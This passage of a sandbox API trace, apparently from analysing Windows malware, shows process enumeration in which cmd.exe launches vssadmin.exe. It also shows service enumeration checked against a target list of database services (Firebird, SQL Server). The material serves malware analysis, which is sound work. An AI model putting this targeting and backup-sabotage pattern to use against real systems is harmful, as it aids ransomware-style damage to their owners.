th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.344] lstrlenW (lpString="taskhost.exe") returned 12 [0043.344] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.344] lstrlenW (lpString="svchost.exe") returned 11 [0043.344] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.345] lstrlenW (lpString="taskeng.exe") returned 11 [0043.345] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.345] lstrlenW (lpString="taskhost.exe") returned 12 [0043.345] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0043.345] lstrlenW (lpString="dear.exe") returned 8 [0043.346] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0043.346] lstrlenW (lpString="b costa.exe") returned 11 [0043.346] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0043.346] lstrlenW (lpString="rc lock.exe") returned 11 [0043.347] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0043.347] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0043.347] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0043.347] lstrlenW (lpString="hugown.exe") returned 10 [0043.348] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0043.348] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0043.348] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0043.348] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0043.349] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0043.349] lstrlenW (lpString="locked welsh.exe") returned 16 [0043.349] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0043.349] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0043.349] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0043.350] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0043.350] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0043.350] lstrlenW (lpString="planners.exe") returned 12 [0043.350] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0043.351] lstrlenW (lpString="agreements.exe") returned 14 [0043.351] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0043.352] lstrlenW (lpString="tray.exe") returned 8 [0043.352] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0043.352] lstrlenW (lpString="wp std.exe") returned 10 [0043.352] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0043.353] lstrlenW (lpString="lesser.exe") returned 10 [0043.353] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0043.353] lstrlenW (lpString="right-tissue.exe") returned 16 [0043.353] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0043.353] lstrlenW (lpString="bunch.exe") returned 9 [0043.354] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0043.354] lstrlenW (lpString="jam.exe") returned 7 [0043.354] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0043.354] lstrlenW (lpString="chooseincidence.exe") returned 19 [0043.354] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0043.355] lstrlenW (lpString="numericalrear.exe") returned 17 [0043.355] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0043.582] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0043.583] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0043.617] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0043.617] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0043.617] lstrlenW (lpString="come_wave.exe") returned 13 [0043.617] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.618] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.618] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0043.618] lstrlenW (lpString="uyuquk.exe") returned 10 [0043.618] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.619] lstrlenW (lpString="cmd.exe") returned 7 [0043.619] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.619] lstrlenW (lpString="conhost.exe") returned 11 [0043.619] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.620] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.620] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.620] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.620] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.621] lstrlenW (lpString="svchost.exe") returned 11 [0043.621] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0043.621] CloseHandle (hObject=0x1a8) returned 1 [0043.621] Sleep (dwMilliseconds=0x1f4) [0044.285] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0044.286] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0044.287] GetLastError () returned 0xea [0044.287] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0044.288] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0044.289] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0044.289] lstrlenW (lpString="Appinfo") returned 7 [0044.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.289] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.289] lstrlenW (lpString="AudioSrv") returned 8 [0044.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.289] lstrlenW (lpString="BFE") returned 3 [0044.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.289] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.289] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.289] lstrlenW (lpString="CryptSvc") returned 8 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.290] lstrlenW (lpString="CscService") returned 10 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.290] lstrlenW (lpString="DcomLaunch") returned 10 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.290] lstrlenW (lpString="Dhcp") returned 4 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.290] lstrlenW (lpString="Dnscache") returned 8 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.290] lstrlenW (lpString="DPS") returned 3 [0044.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.290] lstrlenW (lpString="eventlog") returned 8 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.291] lstrlenW (lpString="EventSystem") returned 11 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.291] lstrlenW (lpString="gpsvc") returned 5 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.291] lstrlenW (lpString="iphlpsvc") returned 8 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.291] lstrlenW (lpString="LanmanServer") returned 12 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.291] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.291] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.291] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.292] lstrlenW (lpString="lmhosts") returned 7 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.292] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.292] lstrlenW (lpString="MMCSS") returned 5 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.292] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.292] lstrlenW (lpString="MpsSvc") returned 6 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.292] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.292] lstrlenW (lpString="Netman") returned 6 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.292] lstrlenW (lpString="netprofm") returned 8 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.292] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.292] lstrlenW (lpString="NlaSvc") returned 6 [0044.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.292] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.293] lstrlenW (lpString="nsi") returned 3 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.293] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.293] lstrlenW (lpString="PcaSvc") returned 6 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.293] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.293] lstrlenW (lpString="PlugPlay") returned 8 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.293] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.293] lstrlenW (lpString="Power") returned 5 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.293] lstrlenW (lpString="ProfSvc") returned 7 [0044.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.293] lstrcmpiW 